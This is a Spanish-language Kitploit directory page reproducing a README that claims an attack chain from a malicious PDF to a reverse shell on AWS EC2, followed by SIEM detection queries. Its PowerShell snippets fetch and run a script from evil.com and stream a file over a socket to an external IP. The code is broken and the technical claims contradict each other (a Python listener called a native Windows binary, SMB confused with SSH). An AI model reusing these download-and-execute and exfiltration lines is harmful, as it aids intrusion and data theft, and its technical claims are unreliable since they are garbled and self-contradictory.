Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-3456 — Una cadena práctica que comienza con un archivo PDF inocuo y termina con un shell inverso en una instancia de AWS EC2. | Kitploit
Herramientas/GitHubGitHub/mrk336/cve-2021-3456
Escalada de PrivilegiosExplotaciónMovimiento LateralPost-ExplotaciónPhishingComando y ControlIngeniería SocialAprendizaje y EducaciónRed TeamingDesarrollo de PayloadsLabs y Práctica
8hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
mrk336/cve-2021-3456

CVE-2021-3456

Una cadena práctica que comienza con un archivo PDF inocuo y termina con un shell inverso en una instancia de AWS EC2.

Ver Repositorio

CVE-2021-3456

Una cadena práctica que comienza con un archivo PDF inocuo y termina en una shell inversa en una instancia EC2 de AWS

El Comienzo: Creando un Payload PDF

Todo comienza en el frente del ataque. Usando el objeto WScript integrado de PowerShell, incrustamos un script dentro de un PDF que se entregará a un host Windows. El payload descarga un ejecutable desde un endpoint HTTP remoto y lo escribe en el sistema de archivos local.

$payload = @" var wsh = WScript.CreateObject("WScript.Shell"); wsh.Exec( "powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); ` Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }" "@

El beneficio clave es que el PDF no necesita un paso de descarga separado: se entrega directamente a PowerShell, que luego lanza la siguiente fase de la cadena.

PowerShell se encuentra con SMB

Una vez que el script del PDF se ejecuta en el host objetivo (10.0.1.5), usamos PowerShell para abrir una conexión SMB a una instancia EC2 (54.231.12.41) y enviar el ejecutable recién descargado a través de ese socket. El mismo código puede ejecutarse desde cualquier estación de trabajo Windows, lo que le da al atacante un punto de apoyo de bajo perfil dentro de la LAN corporativa.

$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }

El paquete SMB aparece en los registros de auditoría de Windows como un evento estándar (EventID 4624), lo que facilita su detección en la mayoría de los paneles de SIEM.

La Shell Inversa Simplificada

La pieza final de nuestra cadena es una pequeña shell inversa escrita en Python. Escucha una conexión SSH desde EC2 de vuelta al mismo host, imprime una línea de depuración en la consola y luego sale. Una vez compilado como rcmd.py, será ejecutado automáticamente por el paso de PowerShell anterior.

#!/usr/bin/env python3 import socket

def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)

root@kitploit:~
while True:
    conn, _ = listener.accept()
    data = conn.recv(1024)
    print('[+] Received %d bytes' % len(data))

if name == 'main': main()

Debido a que es un binario estático que se ejecuta de forma nativa en Windows, no es necesario instalar un agente o servicio adicional en el host objetivo.

Estrategia de Defensa

Los equipos de seguridad deben asumir que el compromiso es posible y construir estrategias de detección en capas.

Tráfico Anómalo

Filtrar paquetes SMB inusualmente grandes desde el host objetivo.

index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

Alto Uso de Memoria

El consumo de memoria del binario para mostrar que es un proceso no trivial en el host objetivo.

index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

Ventana Fuera de Horario

Los red teamers no suelen ejecutar en horario laboral por miedo a que su script pueda alertar al usuario de alguna manera; esta consulta examinará el tráfico en momentos en que sería inesperado.

index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

Aviso

Este proyecto está destinado únicamente a fines educativos y de investigación. No utilice estas técnicas en entornos no autorizados.

Descargar herramienta